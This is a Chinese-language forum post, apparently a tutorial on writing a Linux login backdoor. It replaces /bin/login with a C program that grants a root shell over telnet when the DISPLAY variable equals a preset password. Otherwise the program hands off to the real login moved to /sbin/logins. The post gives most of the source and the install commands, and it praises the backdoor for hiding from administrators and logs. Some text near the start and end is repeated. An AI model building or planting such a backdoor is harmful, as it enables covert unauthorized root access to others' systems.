斜渡_桃之夭夭
Linux 后门技术研究:从最简单 login 后门说起
使用起来也是很简单的,先设置 DISPLAY 环境变量,使用命令“export DISPLAY=passWORD”,然后进行 telnet 连接目标主机,即可直接获得 rootshell,如图 2 所示.
完整代码详见附件 login.c。最简单的 login 后门就到这里,有什么问题欢迎大家和我 交流。
>>
完整版
关于后门相信大家都很熟悉了,渗透测试中也经常用到。我们接触比较多的基本都是 Windows 下的木马后门,对 Linux 下后门技术的了解还有一些不足,希望通过本系列教程能 让大家对 Linux 下后门开发有更加深入的认识。为什么要学习 Linux 下的后门技术呢?在渗透测试中你会发现,重要系统的架构中, Windows 操作系统的比例越来越少,类 Linux/Unix 系统的比例逐渐增多,且 Linux 下的杀 毒软件还不完善,加之管理员对 Linux 操作不够娴熟,基本可以不用做免杀就可对目标主机 进行远程控制。本文从用户及后门入手讲解,了解后门技术原理,之后再介绍内核模块(LKM)级 rootkit 开发技术,让大家对 Linux 系统及 Linux 下后门技术有一个新的认识。当然,你应该对 Linux 的基本操作很熟练,并有一定的 C 语言基础。Linux 下后门一般是通过修改系统配置文件或安装第三方后门工具来实现的,具有隐蔽性强、绕过系统日志、不易被管理员发现等特点。常用的后门技术有很多,如创建超级用户、设置 SUID Shell、修改系统服务程序、共享库文件、可装载内核模块(LKM)等。这里分享下 Ubuntu 下最简单的 login 后门的开发。作为最简单的 login 后门,原理也自然很简单,其实就是借助于 telnet 服务来实现的。先安装 telnet 服务(默认情况下 Ubuntu 没有安装 telnet 服务),使用命令“sudo apt-get install telnetd”,安装过程中需要输 入密码,然后点击两次 Y 键即可顺利安装,如图 1 所示。安装完成后,即可使用 telnet 远程连接该主机了,那么 telnet 服务的用户登录的校验是由谁来完成的呢?是 bin 目录下的 login 程序。接下来要做的是将/bin 目录下的 login 文件剪切到/sbin 目录下并改名为 logins,之后我们打造一个后门程序复制到/bin 下并命 名为 login,后门程序的功能是当用户远程登录时判断 DISPLAY 变量是否为我们预设的密 码,如果是就启动/bin/bash 来获得一个 shell,如果 DISPLAY 不是我们预设的密码,就执 行/sbin/logins 程序实现正常登录。后门程序原理很简单,主要代码如下:#define PASSWORD "passWORD"#define _PATH_LOGIN "/sbin/logins"首先,定义预设密码和真正的 login 路径,密码可以设置,路径则是我们将真正 login程序备份到的地方。char *display = getenv("DISPLAY");然后获取 DISPLAY 环境变量。if( display == NULL ) { execve(_PATH_LOGIN, argv, envp);perror(_PATH_LOGIN);exit(1);}当环境变量 DISPLAY 为空时,执行正常的 login 验证。if (!strcmp(display,PASSWORD)) {system("/bin/bash");exit(1);}当环境变量 DISPLAY 为预设密码时,执行/bin/bash 获得 rootshell。代码写好后使用 gcc 编译即可,剩下的就是安装。很简单,首先执行命令“cp /bin/login/sbin/logins”备份 login 文件,然后将我们编译好的 login 文件复制为/bin/login 就大 功告成了。
|
完整代码详见附件 login.c。最简单的 login 后门就到这里,有什么问题欢迎大家和我 交流。一星期内筑楼超过10页..自然会有其他的

